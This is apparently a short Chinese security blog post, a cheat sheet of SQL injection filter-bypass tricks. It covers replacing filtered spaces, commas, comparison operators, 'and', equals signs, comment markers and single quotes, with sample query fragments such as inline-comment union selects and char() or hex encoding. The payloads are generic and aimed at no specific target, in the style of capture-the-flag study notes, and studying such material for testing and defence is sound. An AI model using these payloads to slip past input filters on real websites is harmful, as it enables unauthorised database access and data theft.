绕过技巧


1.空格被过滤

括号绕过
select(id)from(admin)where(id=1);
注释绕过
select/**/*/**/from/**/admin;
反引号绕过(数据库默认识别关键字,不用加引号)
select*from`admin`where`id`=1;
其它空白字符绕过
TAB %09   TAB键
LF  %0A   新行
FF  %0C   新页
CR  %0D   回车

2.逗号被过滤

可以用 from for 代替

select substr('admin',1,1);

select substr('admin' from 1 for 1);
select * from admin limit 1,1;

select * from admin limit 1 offset 0;

3.过滤 掉比较运算符

greaest(ascii(substr('admin',1,1)),1) = 97
least(1,2,4)
strcmp(str1,str2)  
substr('admin' from 1 for 1) in ('a')
substr('admin' from 1 for 1) between 'b' and 'b'

4.过滤and

用&&但是&一般会被认为参数连接符 所以需要使用URL编码

%26%26

还可以用or来替代

5.过滤等号

in ('')
like,rlike
between 'admin' and 'admin'
regexp

6.过滤注释符

--空格
--+
/**/
#

7.内联注释绕过

select * from admin where id=1 union /*!select*/  1,2,3;

8.过滤单引号

十六进制绕过
char()函数  web   --->>   char(119)+char(101)+char(98)

文章作者: f14g
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 f14g !
评论
  目录